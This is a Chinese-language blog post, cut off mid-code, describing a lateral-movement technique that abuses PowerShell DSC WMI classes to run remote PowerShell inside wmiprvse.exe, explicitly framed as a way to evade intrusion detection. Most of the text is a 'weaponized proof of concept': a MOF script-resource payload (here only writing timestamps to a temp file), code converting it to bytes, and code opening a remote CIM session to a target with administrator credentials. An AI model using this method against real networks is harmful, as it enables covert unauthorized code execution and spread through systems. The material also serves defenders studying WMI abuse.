利用DSC渗透内网的简要描述
PowerShell所需状态配置(DSC)允许用户直接使用WMI直接执行资源。使用DSC WMI类,攻击者可以通过滥用内置脚本资源来实现远程PowerShell代码执行。利用这个技巧进行内网渗透的好处如下:
1.PowerShell代码会在WMI服务二进制文件 – wmiprvse.exe的上下文中执行。从逃避入侵检测的角度(至少在发布此博客文章之前)来看,这种办法可以称为比调用Win32_Process的Create方法从wmiprvse.exe生成子进程然后执行命令行更为有益的一种渗透技巧。
2.有效载荷的每个组件都只通过WMI。
3.不需要配置DSC服务的配置(甚至不需要了解DSC相关的知识)。
利用DSC内网渗透时的技术要求
1.ResourceTest方法必须存在于root/Microsoft/Windows/DesiredStateConfiguration命名空间中的MSFT_DSCLocalConfigurationManagerWMI类中。注意:攻击者也可以选择调用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,因此并非所有的主机都可以使用此技术。
2.默认情况下,你必须具有管理员凭据才能远程调用WMI方法。远程执行时,WMI通过DCOM或WSMan安全设置(取决于所使用的传输方法)得到保护。在建立远程连接时,WMI本身通过特定于目标命名空间的安全描述符来保护,在本文中的示例是root/Microsoft/Windows/DesiredStateConfiguration。
武器化概念验证
第一步是准备要执行的有效载荷。首先要在目标上执行的PowerShell代码需要以MOF格式进行格式化。下面是将在目标上执行的有效载荷示例:
$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID = "[Script]ScriptExample";
GetScript = "\"$(Get-Date): I am being GET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SetScript = "\"$(Get-Date): I am being SET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SourceInfo = "::3::5::Script";
ModuleName = "PsDesiredStateConfiguration";
ModuleVersion = "1.0";
ConfigurationName = "ScriptTest";
};
instance of OMI_ConfigurationDocument
{
Version="2.0.0";
MinimumCompatibleVersion = "1.0.0";
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
Author="TestUser";
GenerationDate="02/26/2018 07:09:21";
GenerationHost="TestHost";
Name="ScriptTest";
};
'@
实际上,唯一需要改变的是PowerShell有效载荷。在我们的示例中,我们将调用与上面的代码中的“TestScript”属性中的有效载荷相对应的方法ResourceTest。请注意,特殊字符需要转义!自动MOF生成和有效载荷转移绝对是可以自动化的。
下一步是将MOF转换为二进制形式,这是ResourceTest方法所需要的:
# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
if ($ExecuteRemotely) {
# Prepend the length of the payload
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
# If executing locally, you do not prepend the payload length
[Byte[]] $MOFBytes = $NormalizedMOFBytes
}
在上面的示例中需要注意的是,如果要在本地测试有效载荷,则不要将有效载荷长度添加到字节数组中。现在你已经正确编码了有效载荷,剩下要做的就是在目标机器上执行它!
# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = 'TargetHost'
# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
# You may now proceed with lateral movement
$MethodArgs = @{
ModuleName = 'PSDesiredStateConfiguration'
ResourceType = 'MSFT_ScriptResource'
resourceProperty = $MOFBytes
}
$Arguments = @{
Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration'
|